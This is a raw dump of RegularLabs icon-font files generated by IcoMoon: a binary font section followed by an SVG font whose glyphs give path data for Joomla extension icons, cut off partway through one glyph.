O 9 w 0��pP� � � �p ���2Wx�4&'.'.'.#"13267>7>7>5>7>32#"&'.'.5467#"&'.'.53267>7'#"&'.'.'.5467>7>7>32#"3267'.?"#"&/7#"&54632654&#">'&676>7>7>7>32
#Z11Z#
#Z11Z#
�+!V//V!!V//V!�!V//V!
#Z11Z#
�
$22$0`
$22$0
�
��
k
��
6
��b
2$$2(88R
2$$2(88
@�
#!"3!2654&7'!326?!%7�`��<�������55��n
����
7��`ɷ44������5J_t4&#!"3!265##!"&=463!2%467>32#"#"&5#"&'.5463232%#"&546326546324632#"&54&#"&���
�� �`
L
�
L
o� � 4
��
%
n
���5<GRdw.+54&'.+";;267>=3267>=4&'12#5%32!54635!+"&5+"&=3;7#"&=3267>=3#�
j
�
�
*
&
����
��
�
`
�
@
�J�
j
�
�*
�
j
�
`
����
�
j*
*
j�
O�F�%#"&'.'.'.5467>7>7>32#"3267'.?#"&/17.'.'.#"'.76&'&>32#"3267>7>7>54&'1R
""
" <TT<6P..�
""
..P6<TT< "
�
""
T<<TE3]]
�
]]3ET<<T
""���)3D]y.'54&'.#!"3!267>54&%463!2!#!"&5463!2%'&4762546327627#"&/#"&="'&4?�
��
�
�H
T
���
�l
�
��;; � ;;�//
��4
B
*��
4
�̕<<Y Y
Y Y<<@��t��%.'.'.#"'76&'&'..'.#"3267>7>7>54&'.'73267>7>7>54&'"&546323"&54632�
3�
��
�3
..
����
J�
��
�J
CC
OO��'#"&/7627&"326?'۔���`����������������DQ^hy���.'54&'.'.'.+"0&#.+"0&#.+"3!267>54&''#54&'04132#54&'04132'32#546#!"&5463!2'#!"&5463!2#!"&5463!25#!"&5463!2� RRR
�
0`M
�`M
�R
�
�
�l
� 0 �� @ �� @ �� @ �/
/��
4
:**
**
**
�V
4
�� � Y
�+E.'.#!";2326?3267>=4&'+"54&+"&=463!2� �m
*\�
�E :
� ��
P[
�
�
D9
�
�#
��"&".#"132670632654&'64��� !/7
!/���/!
7/! 1M"32654&"&54632>54&#"32673335'#'5#'5#'#"&54632p �^BB^^B,)IW̬)7))3
5KK55K��@ ]B^^BB^,)IW��7))3K55KK5
�)
.<JY!"3!2654&#!"&5463!2'!"3!2654&'!"3!2654&!"3!2654&'!"3!2654&#�`� �` � @�� @ �� @ �� @ �� @ �`��0 � �`P � ` �
@�AUn���������%#5>7>7>7>54&'.'.'.#"#"3!2654&#'.'3#.#""457>7>32#"&'>732672#>7<3.'.'>32#"&'7>7>77.'>737#.'>7'.'.''.'>7#>7>73.'.'>7.'��
&&
� ` ��
�%
S
F
??
/
�
F
??
0
a
&&
&&
a �
�
2
�
9
c
W
9
j
c
@�!1?M#54632354&#"#"3!26=4&#!"&=463!2#";2654&#";2654&��8((8
K55K �� @� � � �
`(88(5KK5`��� � 0 @
�#/CSao#.'>54&#";;26=4&%2#"&546"&=46727#"#+"&=46;2#";2654&'#";2654&�]"8((8%+p���&&%&V &!?
?pp � � @` ` ` `
&
(88(J+p��&&%&�� p$? �0 � p @ @�
8<JXf!"3!2654&#!"&5463!2!2654&+54&+"#"73#"326=4&3"326=4&3"326=4&���
��
��` p ` p �@@0 I I ���
�� ��p 0 0 @
� � � � � � �
��BN%#"&/&4762'#"&'.'.'.5467>7>7>32'4&#"326����K55KK55K$���>5KK55KK
)Wes��32654&+"#";2654&'32654&+"7#"326=46;2+"&=4&#";26=4&#";2654&'#";2654&#";2654&7"+"&=46;2326=4&+";26=4&#
� � �0 0 �� � �� � � ���� � W0 0 I� � I � � �� P 0 � `p p � ��� P � P p � �p `�-;IWes�������%!"&=463!2"3!26=4&##"&546;2'#"&546;23#"&546;23#"&546;2#"&546;23#"&546;23#"&546;27#"&546;23#"&546;2#"&546;23#"&546;2#"&546;2!#"&546;2�`��L � x� � � I I � I I I I W I �� 9 `��
� � � � @ @ @ @ ���
)>Pbs�%+"&546;24&+";26';2654&+"8132654Q#"3&2326?6&'7232676&'&%2326?6&'&&232676&'1
R
S
� �
�
Z �
�
�S
R
R
I
I
I
I
�
�
"
�
H
H R
�� �
H
H U
��
w��=_<��2���2����"@
@#@@ @
��T�@N�B��� :
�~���
4
�
��.���P"E��B�!c
� � M � , n
4�RegularLabsRegularLabsVersion 1.0Version
1.0RegularLabsRegularLabsRegularLabsRegularLabsRegularRegularRegularLabsRegularLabsFont
generated by IcoMoon.Font generated by
IcoMoon.fonts/RegularLabs.svg000064400000120047151165506420010632
0ustar00<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN"
"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd" >
<svg xmlns="http://www.w3.org/2000/svg">
<metadata>Generated by IcoMoon</metadata>
<defs>
<font id="RegularLabs" horiz-adv-x="512">
<font-face units-per-em="512" ascent="512"
descent="0" />
<missing-glyph horiz-adv-x="512" />
<glyph unicode=" " horiz-adv-x="256"
d="" />
<glyph unicode=""
glyph-name="regularlabs" d="M272 32h-32c-8.837
0-16-7.163-16-16s7.163-16 16-16h32c8.837 0 16 7.163 16 16s-7.163 16-16
16zM304 80h-96c-8.837 0-16-7.163-16-16s7.163-16 16-16h96c8.837 0 16 7.163
16 16s-7.163 16-16 16zM432.904 394.74c-9.671 22.865-23.514 43.397-41.141
61.025s-38.16 31.469-61.024 41.141c-23.681 10.016-48.827 15.094-74.739
15.094s-51.058-5.078-74.739-15.094c-22.865-9.671-43.397-23.513-61.025-41.141s-31.47-38.159-41.141-61.025c-10.017-23.681-15.095-48.827-15.095-74.74
0-36.041 10.049-71.175 29.063-101.602 16.722-26.762 39.734-48.971
66.938-64.7v-41.698c0-8.837 7.163-16 16-16h160c8.837 0 16 7.163 16
16v41.697c27.204 15.729 50.216 37.938 66.939 64.7 19.012 30.426 29.061
65.56 29.061 101.602 0 25.913-5.079 51.059-15.096 74.74zM391.801
235.355c-15.412-24.666-37.226-44.69-63.084-57.909-5.351-2.736-8.717-8.238-8.717-14.247v-35.2h-128v35.2c0
6.009-3.367 11.512-8.718 14.246-25.857 13.219-47.671 33.243-63.083
57.909-15.832 25.337-24.2 54.606-24.2 84.645 0 21.607 4.228 42.559 12.567
62.274 8.058 19.050 19.597 36.163 34.297 50.863s31.813 26.238 50.863
34.296c19.715 8.339 40.667 12.567 62.273 12.567s42.558-4.228
62.274-12.567c19.050-8.058 36.163-19.596 50.863-34.296s26.238-31.813
34.296-50.863c8.339-19.715 12.567-40.667 12.567-62.274
0-30.040-8.368-59.309-24.199-84.645zM256 448c-17.273
0-34.037-3.387-49.828-10.065-15.244-6.448-28.931-15.675-40.681-27.425s-20.977-25.438-27.424-40.682c-6.679-15.791-10.066-32.555-10.066-49.828
0-8.837 7.163-16 16-16s16 7.163 16 16c0 25.643 9.986 49.75 28.118
67.882s42.239 28.118 67.882 28.118c8.837 0 16 7.163 16 16s-7.163 16-16
16z" />
<glyph unicode="" glyph-name="addtomenu"
d="M496 223h-160c-8.837 0-16-7.164-16-16v-192c0-8.837 7.163-16
16-16h160c8.836 0 16 7.163 16 16v192c0 8.836-7.164 16-16 16zM480
191v-32h-128v32h128zM480 127v-32h-128v32h128zM352 31v32h128v-32h-128zM160
431c0-8.837-7.163-16-16-16h-64c-8.837 0-16 7.163-16 16s7.163 16 16
16h64c8.837 0 16-7.163 16-16zM208.067 302.934c10.275 10.275 15.933 23.935
15.933 38.467v115.199c0 14.53-5.659 28.191-15.933 38.466-10.275
10.275-23.936 15.934-38.467 15.934h-115.2c-14.531
0-28.192-5.659-38.467-15.933-10.275-10.276-15.933-23.937-15.933-38.467v-115.199c0-14.531
5.658-28.191 15.933-38.467s23.936-15.934 38.467-15.934h115.2c14.531 0
28.192 5.658 38.467 15.934zM32 341.401v115.199c0 12.351 10.049 22.4 22.4
22.4h115.2c12.352 0 22.4-10.049
22.4-22.4v-115.199c0-12.352-10.049-22.4-22.4-22.4h-115.2c-12.351-0.001-22.4
10.048-22.4 22.4zM252.097
100.534c-0.079-0.091-0.155-0.184-0.237-0.273-0.178-0.196-0.36-0.389-0.547-0.576l-31.999-31.999c-3.124-3.123-7.219-4.686-11.314-4.686s-8.189
1.563-11.314 4.686c-6.248 6.249-6.248 16.38 0 22.628l4.686
4.687h-89.372c-8.837 0-16 7.163-16 16 0 0.002 0 0.003 0 0.005v95.994c0
8.837 7.163 16 16 16 8.836 0 16-7.163 16-16v-80h73.372l-4.686 4.686c-6.248
6.249-6.248 16.38 0 22.628 6.249 6.249 16.379 6.249 22.627
0l31.999-31.999c0.187-0.187 0.369-0.379 0.547-0.575 0.082-0.090 0.158-0.183
0.237-0.274 0.091-0.105 0.184-0.209 0.273-0.317 0.098-0.12 0.191-0.242
0.286-0.364 0.064-0.082 0.129-0.164 0.192-0.248 0.101-0.135 0.197-0.273
0.292-0.411 0.052-0.074 0.105-0.147 0.156-0.224 0.096-0.143 0.187-0.287
0.277-0.432 0.047-0.076 0.096-0.15 0.142-0.228 0.086-0.143 0.167-0.287
0.249-0.432 0.047-0.084 0.095-0.167 0.141-0.253 0.073-0.137 0.143-0.275
0.212-0.414 0.049-0.097 0.099-0.193 0.145-0.293 0.060-0.126 0.116-0.254
0.172-0.381 0.051-0.115 0.102-0.23 0.15-0.347 0.047-0.112 0.090-0.227
0.135-0.34 0.052-0.134 0.104-0.268 0.151-0.403 0.036-0.099 0.068-0.199
0.101-0.299 0.050-0.15 0.1-0.301 0.146-0.453 0.027-0.088 0.051-0.177
0.076-0.266 0.046-0.164 0.092-0.328 0.133-0.493 0.021-0.082 0.038-0.165
0.057-0.247 0.040-0.171 0.079-0.342 0.113-0.516 0.017-0.084 0.030-0.169
0.045-0.253 0.031-0.171 0.062-0.341 0.087-0.513 0.014-0.098 0.024-0.195
0.037-0.293 0.020-0.158 0.042-0.317 0.057-0.478 0.013-0.13 0.020-0.259
0.030-0.389 0.009-0.13 0.021-0.26 0.028-0.391 0.012-0.249 0.018-0.498
0.019-0.747 0-0.015 0-0.028 0-0.043s0-0.028
0-0.043c0-0.249-0.007-0.498-0.019-0.746-0.006-0.132-0.019-0.261-0.028-0.392-0.010-0.13-0.017-0.259-0.030-0.388-0.016-0.161-0.037-0.319-0.057-0.479-0.013-0.098-0.023-0.195-0.037-0.293-0.025-0.172-0.056-0.342-0.087-0.513-0.015-0.084-0.028-0.169-0.045-0.253-0.034-0.173-0.073-0.344-0.113-0.516-0.019-0.082-0.037-0.164-0.057-0.247-0.041-0.165-0.087-0.329-0.133-0.493-0.025-0.088-0.049-0.178-0.076-0.266-0.046-0.152-0.096-0.303-0.146-0.453-0.033-0.1-0.066-0.199-0.101-0.299-0.048-0.136-0.1-0.27-0.152-0.402-0.044-0.114-0.087-0.229-0.134-0.341-0.048-0.116-0.099-0.231-0.15-0.347-0.057-0.127-0.112-0.255-0.172-0.381-0.047-0.099-0.096-0.195-0.145-0.293-0.069-0.139-0.139-0.277-0.212-0.414-0.046-0.085-0.094-0.168-0.141-0.252-0.081-0.146-0.163-0.29-0.249-0.433-0.046-0.077-0.095-0.151-0.142-0.228-0.091-0.145-0.182-0.289-0.277-0.432-0.050-0.075-0.104-0.148-0.156-0.224-0.096-0.138-0.192-0.276-0.292-0.411-0.063-0.084-0.128-0.165-0.192-0.248-0.095-0.121-0.188-0.244-0.286-0.364-0.088-0.103-0.181-0.206-0.272-0.313v0zM160
367c0-8.837-7.163-16-16-16h-64c-8.837 0-16 7.163-16 16s7.163 16 16
16h64c8.837 0 16-7.163 16-16z" />
<glyph unicode=""
glyph-name="advancedmodulemanager" d="M507.582
489.112l-8.907 15.439c-15.54-9.303-30.858-19.39-45.952-30.26-6.276
3.017-13.306 4.709-20.723 4.709h-352c-26.467
0-48-21.533-48-48v-352c0-26.468 21.532-48 48-48h352c26.467 0 48 21.532 48
48v352c0 11.091-3.783 21.314-10.123 29.451 12.362 10.081 24.93 19.636
37.705 28.661v0zM448 431v-352c0-8.822-7.178-16-16-16h-352c-8.822 0-16
7.178-16 16v352c0 8.822 7.178 16 16
16h337.294c-25.97-21.337-51.247-45.104-75.831-71.307-49.582-52.849-91.892-110.648-126.927-173.393l-10.688
23.752c-19.596 44.137-37.61 66.211-54.037 66.211-11.876
0-25.831-7.326-41.864-21.971 11.876-1.188 22.909-9.055 33.105-23.606
10.192-14.546 22.713-40.132 37.559-76.748l6.829-16.925c6.332-15.839
10.192-27.314 11.579-34.441 8.113 7.32 17.814 14.646 29.097 21.972l13.064
8.61c21.971 60.172 57.696 121.629 107.183 184.379 31.328 39.725 64.364
75.086 99.106 106.086 1.6-2.49 2.531-5.447 2.531-8.619v0z" />
<glyph unicode=""
glyph-name="articlesanywhere" d="M80 335c0 8.837 7.163 16 16
16h160c8.837 0 16-7.163 16-16s-7.163-16-16-16h-160c-8.837 0-16 7.163-16
16zM96 255h160c8.837 0 16 7.163 16 16s-7.163 16-16 16h-160c-8.837
0-16-7.163-16-16s7.163-16 16-16zM96 383h160c8.837 0 16 7.163 16 16s-7.163
16-16 16h-160c-8.837 0-16-7.163-16-16s7.163-16 16-16zM512
367v-256c0-26.467-21.533-48-48-48h-48v-16c0-26.467-21.533-48-48-48h-256c-26.468
0-48 21.533-48 48v112h-16c-26.468 0-48 21.533-48 48v256c0 26.467 21.533 48
48 48h256c26.467 0 48-21.533 48-48v-48h112c26.467 0 48-21.533 48-48zM48
191h256c8.822 0 16 7.178 16 16v256c0 8.822-7.178 16-16 16h-256c-8.822
0-16-7.178-16-16v-256c0-8.822 7.178-16 16-16zM384 63h-176c-20.859 0-38.65
13.376-45.254 32h-2.746c-8.837 0-16 7.163-16 16s7.163 16 16
16v32h-64v-112c0-8.822 7.178-16 16-16h256c8.822 0 16 7.178 16 16v16zM480
367c0 8.822-7.178 16-16 16h-112v-64h64c8.837 0 16-7.163
16-16s-7.163-16-16-16h-64v-31.984l64.004-0.016c8.837-0.003 15.998-7.168
15.996-16.004-0.003-8.835-7.166-15.996-16-15.996-0.003 0-0.003 0-0.004
0l-63.996 0.016v-16.016c0-5.608-0.971-10.993-2.745-16h66.745c8.837 0
16-7.163 16-16s-7.163-16-16-16h-224v-48c0-8.822 7.177-16 16-16h256c8.822 0
16 7.178 16 16v256z" />
<glyph unicode=""
glyph-name="betterpreview" d="M501.625 266.817c-4.474
4.659-111.082 114.169-245.625
114.169s-241.151-109.51-245.625-114.169l-10.375-10.817
10.375-10.817c4.473-4.659 111.081-114.169 245.625-114.169s241.151 109.51
245.625 114.169l10.375 10.817-10.375 10.817zM152.941 185.389c-50.563
21.967-90.072 54.029-108.561 70.611 18.492 16.584 57.999 48.642 108.561
70.61-13.817-20.106-21.928-44.425-21.928-70.61s8.111-50.505
21.928-70.611zM256 162.26c-51.688 0-93.74 42.052-93.74 93.74s42.052 93.74
93.74 93.74 93.74-42.052
93.74-93.74c0-51.688-42.052-93.74-93.74-93.74zM359.059 185.389c13.817
20.106 21.928 44.425 21.928 70.611 0 26.184-8.111 50.505-21.928 70.61
50.562-21.967 90.072-54.029
108.561-70.61-18.491-16.584-57.999-48.643-108.561-70.611zM256
287.246c-17.258 0-31.246-13.988-31.246-31.246s13.988-31.247
31.246-31.247c17.259 0 31.247 13.988 31.247 31.247s-13.988 31.246-31.247
31.246z" />
<glyph unicode=""
glyph-name="cachecleaner" d="M391.873
209.072l-368-207.999c-2.475-1.4-5.183-2.073-7.863-2.073-4.859 0-9.627
2.213-12.748 6.319-4.842 6.37-4.234 15.338 1.424 20.995l220.018
220.017-100.584 25.147c-6.352 1.588-11.095 6.886-11.974 13.373s2.282 12.856
7.982 16.078l368 207.999c6.965 3.938 15.769 2.123
20.611-4.247s4.233-15.338-1.425-20.996l-220.018-220.016
100.585-25.146c6.352-1.588 11.095-6.886 11.975-13.373
0.879-6.488-2.283-12.857-7.983-16.078v0zM116.686 371.686c3.125-3.125
7.219-4.687 11.314-4.687s8.189 1.562 11.313 4.687c6.249 6.248 6.249 16.379
0 22.627l-112 112c-6.249 6.248-16.379 6.248-22.627
0-6.249-6.248-6.249-16.38 0-22.628l112-111.999zM507.314 26.315l-112
112c-6.249 6.248-16.379 6.248-22.628 0s-6.248-16.379
0-22.628l112-111.999c3.125-3.124 7.219-4.686 11.314-4.686s8.189 1.562
11.313 4.686c6.249 6.248 6.249 16.379 0.001 22.627z" />
<glyph unicode=""
glyph-name="cdnforjoomla" d="M469.88 323.361c-23.437
18.652-54.276 30.708-87.678 34.417-3.404 6.409-7.651 12.492-12.694
18.165-7.133 8.024-15.7 15.055-25.463 20.896-19.86 11.881-43.39
18.161-68.045 18.161-22.133
0-43.644-5.148-62.206-14.89-13.055-6.849-24.226-15.722-32.969-26.092-11.304
5.855-23.944 8.982-36.825 8.982-10.793
0-21.271-2.117-31.145-6.293-9.528-4.030-18.083-9.797-25.424-17.139-7.342-7.342-13.108-15.896-17.138-25.424-2.771-6.552-4.63-13.37-5.57-20.369-16.603-5.738-31.502-16.021-42.795-29.705-6.945-8.414-12.361-17.856-16.098-28.063-3.868-10.564-5.83-21.669-5.83-33.007
0-12.952 2.541-25.525 7.551-37.371 4.836-11.434 11.755-21.699
20.567-30.511s19.076-15.731 30.51-20.567c11.845-5.011 24.42-7.551
37.372-7.551 11.108 0 22.001 1.885 32.379 5.602 3.735 1.338 7.369 2.902
10.892 4.683 6.338-9.899 15.159-18.668 25.907-25.597 8.272-5.332
17.474-9.475 27.349-12.313 10.099-2.903 20.688-4.375 31.473-4.375 19.619 0
38.474 4.865 54.524 14.071 11.618 6.663 21.181 15.232 28.21 25.189
16.954-4.82 34.811-7.26 53.266-7.26 39.712 0 77.23 11.506 105.645 32.399
14.29 10.507 25.574 22.854 33.537 36.698 8.506 14.787 12.818 30.567 12.818
46.903 0 30.204-14.959 58.744-42.12 80.361zM446.688
185.18c-22.959-16.883-53.746-26.18-86.688-26.18-19.42 0-37.963 3.19-55.115
9.483-0.042 0.015-0.084 0.027-0.125 0.042-0.209 0.075-0.416 0.146-0.625
0.212-0.029 0.009-0.058 0.017-0.087 0.026-0.24 0.074-0.481 0.143-0.724
0.205-0.004 0-0.008 0.002-0.013 0.003-7.415
1.898-15.336-1.756-18.562-8.98-8.807-19.733-33.221-32.991-60.749-32.991-29.856
0-56.125 15.912-62.54 37.854-0.022 0.080-0.046 0.161-0.070 0.241-0.921
3.234-1.39 6.566-1.39 9.905 0 8.837-7.163 16-16 16s-16-7.163-16-16c0-2.416
0.13-4.828 0.387-7.227-9.762-5.763-20.799-8.773-32.386-8.773-35.29 0-64
28.71-64 64 0 30.234 21.432 56.574 50.975 62.676 0.078 0.016 0.155 0.031
0.232 0.047 4.176 0.847 8.479 1.277 12.792 1.277 8.836 0 16 7.163 16 16 0
7.928-5.768 14.505-13.334 15.774 6.54 18.742 24.391 32.226 45.334 32.226
11.103 0 21.902-3.869 30.453-10.897 0.688-0.599 1.439-1.144 2.246-1.63
0.007-0.005 0.014-0.009 0.021-0.013 0.109-0.065 0.215-0.134 0.326-0.197
0.108-0.062 0.218-0.117 0.327-0.176 0.021-0.012 0.043-0.023 0.065-0.035
0.217-0.116 0.435-0.226 0.655-0.331 0.014-0.007 0.028-0.014 0.042-0.021
7.362-3.489 16.253-0.87 20.516 6.175 0.015 0.024 0.030 0.049 0.045 0.074
0.058 0.097 0.118 0.189 0.174 0.287 13.426 23.549 43.702 38.764 77.13
38.764 36.851 0 69.935-18.85 80.531-45.858 0.070-0.19 0.141-0.38
0.218-0.567 2.156-5.688 3.251-11.598 3.251-17.575 0-8.837 7.163-16 16-16s16
7.163 16 16c0 1.659-0.056 3.314-0.156 4.964 50.844-9.922 88.156-42.97
88.156-80.964 0-21.49-11.83-42.025-33.312-57.82z" />
<glyph unicode=""
glyph-name="componentsanywhere" d="M457.599
416h-105.599v41.6c0 29.997-24.404 54.4-54.401 54.4h-243.2c-29.997
0-54.4-24.403-54.4-54.4v-243.2c0-29.997 24.403-54.4
54.4-54.4h9.6v-105.599c0-29.998 24.403-54.401 54.4-54.401h243.2c29.997 0
54.401 24.403 54.401 54.401v9.599h41.599c29.997 0 54.401 24.403 54.401
54.401v243.2c-0 29.997-24.404 54.4-54.401 54.4zM32 214.401v243.2c0 12.35
10.050 22.4 22.4 22.4h243.2c12.35 0 22.4-10.050
22.4-22.4v-243.2c0-12.35-10.050-22.4-22.401-22.4h-243.2c-12.35 0-22.4
10.050-22.4 22.401zM384
54.401c0-12.35-10.050-22.401-22.401-22.401h-243.2c-12.35 0-22.4 10.050-22.4
22.401v105.599h64v-41.599c0-29.998 24.403-54.401
54.4-54.401h169.6v-9.599zM480
118.401c0-12.35-10.050-22.401-22.401-22.401h-243.2c-12.35 0-22.4
10.050-22.4 22.401v41.599h105.6c29.997 0 54.401 24.403 54.401
54.401v169.599h105.6c12.35 0 22.401-10.050 22.401-22.4v-243.2z" />
<glyph unicode=""
glyph-name="contenttemplater" d="M80 335c0 8.837 7.163 16 16
16h160c8.837 0 16-7.163 16-16s-7.163-16-16-16h-160c-8.837 0-16 7.163-16
16zM272 271c0 8.837-7.163 16-16 16h-160c-8.837 0-16-7.163-16-16s7.163-16
16-16h160c8.837 0 16 7.163 16 16zM96 383h160c8.837 0 16 7.163 16 16s-7.163
16-16 16h-160c-8.837 0-16-7.163-16-16s7.163-16 16-16zM512
335v-288c0-26.467-21.533-48-48-48h-288c-26.467 0-48 21.533-48
48v112h-80c-26.468 0-48 21.533-48 48v256c0 26.467 21.533 48 48
48h256c26.467 0 48-21.533 48-48v-80h112c26.467 0 48-21.533 48-48zM48
191h256c8.822 0 16 7.178 16 16v256c0 8.822-7.178 16-16 16h-256c-8.822
0-16-7.178-16-16v-256c0-8.822 7.178-16 16-16zM480 335c0 8.822-7.178 16-16
16h-112v-144c0-26.467-21.533-48-48-48h-144v-112c0-8.822 7.177-16
16-16h288c8.822 0 16 7.178 16 16v288z" />
<glyph unicode=""
glyph-name="dbreplacer" d="M512 431c0 7.946-2.753
15.563-8.183 22.639-4.308 5.615-10.413 10.934-18.145 15.808-13.454
8.482-32.243 15.975-55.845 22.269-46.634 12.435-108.368 19.284-173.827
19.284s-127.192-6.849-173.828-19.285c-23.602-6.294-42.391-13.786-55.845-22.269-7.731-4.874-13.836-10.192-18.145-15.808-5.429-7.075-8.182-14.691-8.182-22.638v0-352c0-7.946
2.753-15.563 8.182-22.639 4.309-5.615 10.414-10.934 18.145-15.808
13.454-8.483 32.243-15.975 55.844-22.269 46.637-12.435 108.37-19.284
173.829-19.284s127.192 6.849 173.828 19.285c23.602 6.294 42.391 13.786
55.845 22.269 7.731 4.874 13.836 10.192 18.145 15.808 5.429 7.075 8.182
14.692 8.182 22.638v352zM43.394 442.377c10.57 6.665 26.831 13.033 47.023
18.418 44.024 11.74 102.828 18.205 165.583 18.205s121.56-6.465
165.583-18.205c20.192-5.385 36.453-11.753 47.023-18.418 9.347-5.892
11.394-10.211 11.394-11.377
0-1.167-2.047-5.484-11.394-11.378-10.57-6.664-26.831-13.033-47.023-18.418-44.023-11.739-102.828-18.204-165.583-18.204s-121.56
6.465-165.583 18.204c-20.192 5.385-36.453 11.754-47.023 18.418-9.347
5.894-11.394 10.211-11.394 11.378s2.047 5.485 11.394 11.377zM468.607
67.622c-10.571-6.664-26.831-13.033-47.023-18.418-44.024-11.739-102.829-18.204-165.584-18.204s-121.56
6.465-165.583 18.204c-20.192 5.385-36.453 11.754-47.023 18.418-9.347
5.894-11.394 10.212-11.394 11.378v310.211c12.885-7.117 29.72-13.473
50.172-18.926 46.636-12.436 108.37-19.285 173.828-19.285 65.459 0 127.192
6.849 173.828 19.285 20.453 5.453 37.287 11.809 50.172
18.927v-310.212c0-1.166-2.047-5.484-11.393-11.378zM305.666
165.737c-5.34-12.623-12.98-23.958-22.713-33.689-9.731-9.732-21.066-17.373-33.69-22.713-13.074-5.531-26.957-8.335-41.263-8.335s-28.188
2.804-41.263 8.334c-12.624 5.34-23.958 12.981-33.69 22.713s-17.374
21.066-22.712 33.69c-5.531 13.075-8.335 26.958-8.335 41.263s2.804 28.188
8.334 41.264c5.339 12.623 12.981 23.958 22.712 33.689 9.732 9.732 21.067
17.373 33.69 22.713 13.076 5.53 26.959 8.334 41.264 8.334 5.523 0 10-4.477
10-10s-4.477-10-10-10c-47.421 0-86-38.579-86-86s38.579-86 86-86c41.964 0
76.998 30.214 84.507 70.028-2.898-3.512-7.933-4.696-12.179-2.573-4.94
2.471-6.942 8.477-4.473 13.417l28.145 56.289 28.145-56.289c2.469-4.94
0.467-10.946-4.473-13.417-1.436-0.717-2.962-1.057-4.465-1.057-3.668 0-7.199
2.025-8.951 5.529l-0.945
1.891c-1.143-10.011-3.699-19.751-7.645-29.081zM401.666 248.264c5.53-13.075
8.334-26.958
8.334-41.264s-2.805-28.188-8.334-41.264c-5.34-12.623-12.981-23.958-22.713-33.689-9.731-9.732-21.066-17.373-33.69-22.713-13.075-5.53-26.958-8.334-41.263-8.334-5.523
0-10 4.477-10 10 0 5.522 4.477 10 10 10 47.42 0 86 38.579 86 86s-38.58
86-86 86c-41.965 0-76.999-30.214-84.507-70.029 2.898 3.512 7.932 4.697
12.179 2.574 4.94-2.471 6.942-8.477 4.473-13.417l-28.145-56.289-28.145
56.289c-2.47 4.939-0.467 10.946 4.473 13.416s10.946 0.468
13.416-4.472l0.945-1.891c1.142 10.012 3.699 19.752 7.645 29.081 5.339
12.624 12.981 23.958 22.713 33.69 9.731 9.731 21.066 17.373 33.689 22.712
13.076 5.532 26.959 8.336 41.264 8.336s28.188-2.805
41.264-8.334c12.623-5.34 23.958-12.981 33.689-22.713s17.373-21.066
22.713-33.689z" />
<glyph unicode=""
glyph-name="emailprotector" d="M464 448h-416c-26.469
0-48-21.531-48-48v-288c0-26.469 21.532-48 48-48h416c26.469 0 48 21.531 48
48v288c0 26.469-21.531 48-48 48zM32
393.375l137.375-137.375-137.375-137.375v274.75zM256 214.625l-201.375
201.375h402.75l-201.375-201.375zM192 233.375l52.688-52.688c3.121-3.125
7.219-4.688 11.313-4.688s8.19 1.563 11.313 4.688l52.688 52.688
137.375-137.375h-402.75l137.375 137.375zM342.625 256l137.375
137.375v-274.75l-137.375 137.375z" />
<glyph unicode="" glyph-name="modals"
d="M448 367c0 26.467-21.533 48-48 48h-288c-26.468
0-48-21.533-48-48v-224c0-26.467 21.533-48 48-48h288c26.467 0 48 21.533 48
48v224zM416 143c0-8.822-7.178-16-16-16h-288c-8.822 0-16 7.178-16 16v224c0
8.822 7.178 16 16 16h288c8.822 0 16-7.178 16-16v-224zM0 419.363c0 15.929
6.203 30.905 17.466 42.17 11.265 11.264 26.24 17.467 42.17 17.467 8.837 0
16-7.163 16-16s-7.163-16-16-16c-15.238 0-27.636-12.398-27.636-27.637
0-8.837-7.164-16-16-16s-16 7.163-16 16zM75.636
47c0-8.837-7.163-16-16-16-15.93 0-30.906 6.203-42.169 17.466-11.264
11.264-17.467 26.24-17.467 42.171 0 8.837 7.163 16 16 16 8.836 0 16-7.163
16-16 0-15.238 12.398-27.637 27.636-27.637 8.837 0 16-7.163 16-16zM512
90.637c0-15.931-6.203-30.907-17.467-42.171-11.263-11.263-26.239-17.466-42.169-17.466-8.836
0-16 7.163-16 16s7.164 16 16 16c15.239 0 27.636 12.399 27.636 27.637 0
8.837 7.163 16 16 16s16-7.163 16-16zM436.364 463c0 8.837 7.164 16 16 16
15.931 0 30.906-6.203 42.17-17.468s17.466-26.241
17.466-42.169c0-8.837-7.163-16-16-16s-16 7.163-16 16c0 15.239-12.397
27.637-27.636 27.637-8.836 0-16 7.163-16 16z" />
<glyph unicode=""
glyph-name="modulesanywhere" d="M496.068 399.067c-10.276
10.274-23.937 15.933-38.468 15.933h-105.6v41.6c0 14.53-5.658 28.191-15.934
38.466-10.274 10.275-23.935 15.934-38.466 15.934h-243.2c-14.53
0-28.191-5.659-38.467-15.934s-15.933-23.936-15.933-38.466v-243.2c0-14.53
5.658-28.19 15.933-38.466s23.936-15.934 38.467-15.934h9.6v-105.6c0-14.53
5.658-28.191 15.933-38.467 10.275-10.274 23.936-15.933
38.467-15.933h243.2c14.531 0 28.191 5.659 38.467 15.934 10.275 10.275
15.933 23.936 15.933 38.467v9.599h41.6c14.531 0 28.192 5.658 38.467 15.934
10.275 10.275 15.933 23.935 15.933 38.466v243.2c0 14.53-5.658 28.191-15.932
38.467v0zM457.6 383c12.352 0 22.4-10.049 22.4-22.4v-9.6h-128v32h105.6zM54.4
479h243.2c12.352 0 22.4-10.049 22.4-22.4v-9.6h-288v9.6c0 12.351 10.048 22.4
22.4 22.4zM32
213.4v201.6h288v-201.6c0-12.351-10.049-22.4-22.4-22.4h-243.2c-12.352 0-22.4
10.049-22.4 22.4zM384 53.401c0-12.352-10.049-22.4-22.4-22.4h-243.2c-12.352
0-22.4 10.049-22.4 22.4v105.599h64v-41.6c0-14.53 5.659-28.191 15.933-38.467
10.275-10.274 23.935-15.933 38.467-15.933h169.6v-9.599zM457.6
95h-243.2c-12.351 0-22.399 10.049-22.399 22.4v41.6h105.6c14.531 0 28.192
5.658 38.467 15.934 10.274 10.275 15.932 23.935 15.932
38.466v105.6h128v-201.6c0-12.351-10.049-22.4-22.4-22.4z" />
<glyph unicode=""
glyph-name="rereplacer" d="M338.162
186.489c-8.865-20.96-21.553-39.781-37.711-55.939s-34.979-28.846-55.939-37.711c-21.708-9.183-44.759-13.839-68.512-13.839s-46.804
4.656-68.512 13.838c-20.96 8.865-39.78 21.553-55.939 37.711s-28.846
34.979-37.711 55.939c-9.182 21.709-13.838 44.759-13.838 68.512s4.656 46.804
13.837 68.512c8.865 20.96 21.553 39.781 37.711 55.939s34.979 28.846 55.939
37.711c21.71 9.183 44.76 13.838 68.513 13.838 8.837 0 16-7.163
16-16s-7.163-16-16-16c-79.402 0-144-64.599-144-144 0-79.402 64.598-144
